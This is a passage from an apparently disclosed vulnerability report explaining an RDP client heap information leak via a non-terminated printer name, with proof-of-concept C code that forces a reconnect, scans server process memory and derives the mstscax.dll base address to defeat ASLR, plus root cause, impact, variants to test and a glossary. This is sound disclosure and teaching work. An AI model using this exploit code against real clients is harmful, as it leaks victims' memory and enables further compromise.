This is a loop that runs 32 times. Each pass sends the byte array from step 1 through the channel, then pauses for 200 milliseconds with `Sleep`. `sizeof(leak_heap)` is the size of the array in bytes, so the whole message is sent.

At this point the client's registry should be filled with memory leaks. Next, garbage is sent to the `Graphics` dynamic channel to force a reconnect:

```cpp
connect_to_virtual_channel("Microsoft::Windows::RDS::Graphics", DYNAMIC_CHANNEL);
write_to_virtual_channel("fuzzed up beyond all repair", 27);
close_virtual_channel();

// Wait for the client to reconnect
Sleep(20000);
```

These four lines open the bitmap channel, send a meaningless 27-byte string into it, close the channel, and then wait 20 seconds (`20000` milliseconds). The wait gives the client time to come back and announce its devices, which is when the leak travels to the server.

This behaviour is a bit random: sometimes the client reconnects automatically, sometimes it returns to the connection window without restarting the process and the user has to click "Connect" again. The researcher notes there are probably better ways to achieve this, and that the sleep could be replaced by monitoring when the client actually reconnects.

### Step 6: retrieve the leak from server memory

Reading the leak was the hard part. `WTSVirtualChannelRead` cannot simply be used, because reading from a virtual channel requires a handle obtained by opening it. The PDU is sent upon the first initialisation of the `RDPDR` channel, which happens very early when the client connects, so a race would be needed to open and read the channel right after the client connects and sends the packet, but before the real server connects to the channel and handles it. The researcher was not sure how that would work and looked for another way.

Possible solutions considered were a custom RDP server implementation, intercepting packets at the network level (which requires decoding the whole RDP stack with its several layers of encryption, described as a hassle), or hooking the server-side handler for the channel to log the PDU contents.

The chosen approach was to scan the RDP server's svchost memory for the client's PDU. It may be overkill, but it works. The proof of concept finds the TermService svchost PID, scans memory with `VirtualQueryEx` and `ReadProcessMemory`, and looks for a known crib such as the wide string `Brother`, the beginning of the `PrinterName`. Recognising known vtable offsets then allows calculating the base address of `mstscax.dll`.


{{media:7}}


The vtable offsets used for the two builds are:

```c
const unsigned int vtable_offsets[] = {
    // 10.0.19041.844
    0x5c88e0, // const CTSMsg::`vftable`
    0x5c92d8, // const CMemory::`vftable`{for `CImplIUknown<struct IUnknown>`}
    // 10.0.21354.1
    0x62c048, // const CFileRedirector::`vftable'{for `INonDelegatingUnknown'}
    0x62c1b8, // const CTSSyncWaitResult::`vftable'{for `INonDelegatingUnknown'}
    0x62c238, // const CTSMsg::`vftable'{for `CTSObject'}
    0x62dc20, // const CTSPooledUnknown::`vftable'{for `INonDelegatingUnknown'}
    0x62de48  // const CMemory::`vftable'{for `CImplIUnknown<struct IUnknown>`}
};
```

This is a fixed list of numbers, each a known offset inside `mstscax.dll` for one of the two Windows builds. An *offset* is a distance from the start of the file, so if you know a leaked address points at one of these items, subtracting the offset gives you where the file starts in memory.

The scanning loop walks the committed, readable regions of the TermService process and compares each position against the wide string `Brother`, then checks for a pointer-shaped value ending in `0x7f`:

```c
for (unsigned char *p = NULL; VirtualQueryEx(hProcess, p, &info, sizeof(info)); p += info.RegionSize)
{
    if (info.State == MEM_COMMIT && info.Protect != PAGE_NOACCESS && info.Protect != PAGE_GUARD)
    {
        buffer = malloc(info.RegionSize);
        ReadProcessMemory(hProcess, info.BaseAddress, buffer, info.RegionSize, &bytesRead);
        for (int i = 0; i < bytesRead; i++)
        {
            leak = (BYTE *)buffer + i;
            if (!memcmp((char *)leak, (char *)L"Brother", 14))
            {
                for (int j = 0; j < 256; j++)
                {
                    if (leak[j + 7] == 0 && leak[j + 6] == 0 && leak[j + 5] == 0x7f)
                    {
                        printf("[+] Found address leak! 0x%p\n", *((char **)(leak + j)));
                        for (int k = 0; k < sizeof(vtable_offsets) / sizeof(vtable_offsets[0]); k++)
                        {
                            if (((*((unsigned long long *)(leak + j))) & 0xFFFF) == (vtable_offsets[k] & 0xFFFF))
                            {
                                printf("[+] -> Potential base address for mstscax.dll: 0x%p\n", *((char **)(leak + j)) - vtable_offsets[k]);
                            }
                        }
                        // hexdump((char *)leak, 256);
                    }
                }
            }
        }
        free(buffer);
    }
}
```

Line by line:

1. The outer `for` walks through the target process's memory. `VirtualQueryEx` asks Windows to describe the next block of memory starting at `p`; the answer goes into `info`. After each pass, `p` jumps forward by the size of that block (`info.RegionSize`). The loop stops when `VirtualQueryEx` fails, which happens when there is no more memory to describe.
2. The `if` keeps only blocks that are actually in use (`MEM_COMMIT`) and readable (not `PAGE_NOACCESS` or `PAGE_GUARD`). Reading memory that is not there would fail.
3. `malloc` reserves a temporary buffer the same size as the block, and `ReadProcessMemory` copies the block from the target process into it. `bytesRead` records how much was copied.
4. The inner `for` visits every byte position `i` in the copied block, and `leak` points at that position.
5. `memcmp` compares 14 bytes at that position with the wide string `Brother`. If they match, the code has found the start of a leaked printer name.
6. The next loop looks up to 256 bytes ahead for a value whose bytes at offsets 5, 6 and 7 are `0x7f`, `0x00`, `0x00`.
7. When found, `printf` prints the pointer value. The cast `*((char **)(leak + j))` reads eight bytes as an address.
8. The innermost loop compares the low 16 bits of the leaked pointer (`& 0xFFFF` keeps only the last four hexadecimal digits) with the low 16 bits of each known vtable offset. If they match, subtracting the offset from the leaked pointer gives a candidate base address, which is printed.
9. The commented-out `hexdump` line is a debugging aid left in the source.

Matching the low 16 bits of the leaked pointer against the low 16 bits of a known vtable offset and subtracting the offset yields a candidate base address for `mstscax.dll`.

## Root cause

The core of the bug is missing null bytes causing an out-of-bounds read. The server can send a `PrinterName` that is not null-terminated, and the client passes the pointer to `RegCreateKeyExW` without ensuring termination. The API copies the string until it meets two consecutive null bytes, reading past the end of the PDU buffer into adjacent heap memory, and the copied bytes become the registry key name. The length checks in `AddPrinterCacheInfo` bound the declared lengths and the total PDU length, but they do not require the printer name to be terminated, so a well-formed PDU with a non-terminated name passes validation. The leaked bytes are then stored persistently in the client's registry, and the protocol's own device announcement mechanism carries them back to the server.

## Impact

A malicious or compromised RDP server can leak heap memory from a connecting client and break ASLR of `mstscax.dll`, which is a building block for further exploitation rather than an exploit on its own. The leak is persistent: the garbage keys stay in `HKCU\Software\Microsoft\Terminal Server Client\Default\AddIns\RDPDR`, and in the researcher's own case the accumulated keys made the client consume so much memory at startup that it hung the system, with no reboot or cache clear helping. The attack requires the victim to connect to the malicious server, and the reconnect step is not fully reliable: sometimes the client reconnects automatically, sometimes the user has to click "Connect" again. Microsoft assessed the issue as Information Disclosure with Important severity and awarded a $1,000 bounty.

## Fix

Microsoft released the security patch on 2021-11-09. The report does not describe the code change itself.

## Variants to test

The same pattern is worth trying wherever a server-controlled string from a virtual channel reaches a Windows API that assumes null termination.

1. Other printer cache PDUs. Send Update Printer Cachedata and Rename Printer Cachedata with a non-terminated name field. A positive result is a registry key whose name extends past the supplied bytes into heap data.
2. Other `RDPDR` sub-extensions. The smart card, serial and parallel port sub-extensions parse server data with their own structures; look for string fields passed to registry, file or display APIs without a terminator. A positive result is a key, file name or window title containing bytes that were never sent.
3. Other default channels. `RDPSND`, `CLIPRDR` and `DRDYNVC` are opened by default; fuzz their string fields for the same missing-terminator pattern. A positive result is any client-side artefact (registry key, file, log line) containing heap pointers.
4. Other Windows APIs with implicit termination. Trace server-controlled buffers into functions such as `RegSetValueExW`, `CreateFileW` or `SetWindowTextW` and check whether the length is enforced before the call. A positive result is an out-of-bounds read visible in a debugger at the call site.
5. Reconnect tricks. Try other dynamic channels with garbage input to see which ones force an automatic reconnect, since a reliable reconnect makes the leak retrieval deterministic. A positive result is an automatic reconnection without user interaction.
6. Cleanup PDUs. Verify that `DR_PRN_DELETE_CACHEDATA` removes the keys created by the attack, which would make the technique stealthier. A positive result is the disappearance of the leaky keys after the PDUs are sent.

## Glossary

- **API**: a set of functions an operating system or program offers so other programs can use its features, like a service counter.
- **ASLR**: Address Space Layout Randomisation, a protection that loads programs and libraries at unpredictable addresses so an attacker cannot rely on fixed ones.
- **Base address**: the memory address where a library or program starts once loaded.
- **Bounty**: a payment a company makes to someone who reports a security bug to it.
- **Breakpoint**: a marker that pauses a program in a debugger at a chosen instruction so you can inspect what is happening.
- **Buffer**: a block of memory holding data, here the bytes of a network message.
- **Client**: the program on your side that connects to a remote computer.
- **CVE**: a public identifier for a known security vulnerability.
- **CVSS**: a scoring system that rates the severity of a vulnerability.
- **Decompiled**: turned back from compiled machine code into a C-like form for reading.
- **Dynamic channel**: a virtual channel created on demand during a session, rather than one fixed at connection time.
- **Fuzzing**: feeding a program large amounts of malformed or random input to find crashes and unexpected behaviour.
- **Handle**: a number the operating system gives a program to refer to an object it has opened.
- **Heap**: the area of memory a program uses for data it allocates while running.
- **Hexadecimal**: a base-16 way of writing numbers, using digits 0-9 and letters a-f, often prefixed with `0x`.
- **Information Disclosure**: a vulnerability class where data that should stay private is exposed.
- **Little endian**: a byte order where the least significant byte of a value comes first.
- **MSRC**: Microsoft Security Response Center, the team that handles reported Microsoft vulnerabilities.
- **Null terminator**: a zero byte (or two zero bytes for wide strings) marking the end of a text string in memory.
- **Out-of-bounds read**: reading memory outside the intended buffer, here past the end of a message.
- **PDU**: Protocol Data Unit, one structured message in a network protocol.
- **PID**: process identifier, the number the operating system uses to refer to a running program.
- **Pointer**: a value that holds a memory address.
- **Procmon**: Process Monitor, a Microsoft tool that logs file, registry and process activity.
- **Proof of concept**: a working demonstration that a vulnerability can be exploited.
- **Race condition**: a situation where the result depends on the exact timing of two events.
- **RDP**: Remote Desktop Protocol, Microsoft's protocol for remote graphical access.
- **Registry**: the Windows settings database, organised in keys and values.
- **Reverse engineering**: analysing compiled software to understand what it does.
- **Server**: the remote computer (or the program on it) that a client connects to.
- **Static channel**: a virtual channel that exists for the whole session and is set up at connection time.
- **svchost**: a Windows process that hosts system services, including the Remote Desktop service.
- **SYSTEM**: the most privileged built-in Windows account.
- **UTF-16LE**: a way of storing text where each character takes two bytes, low byte first.
- **Virtual channel**: a separate data pipe inside an RDP connection, each with its own protocol.
- **Vtable**: a table of function pointers used by object-oriented compiled code; its address reveals where a library is loaded.
- **WinAFL**: a fuzzer for Windows programs that mutates inputs and watches for crashes.
- **WTSAPI32**: a Windows API for working with Remote Desktop sessions and virtual channels.

More by Valentino Ricotta

View all

2 more disclosed reports, best first.

More from Microsoft

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.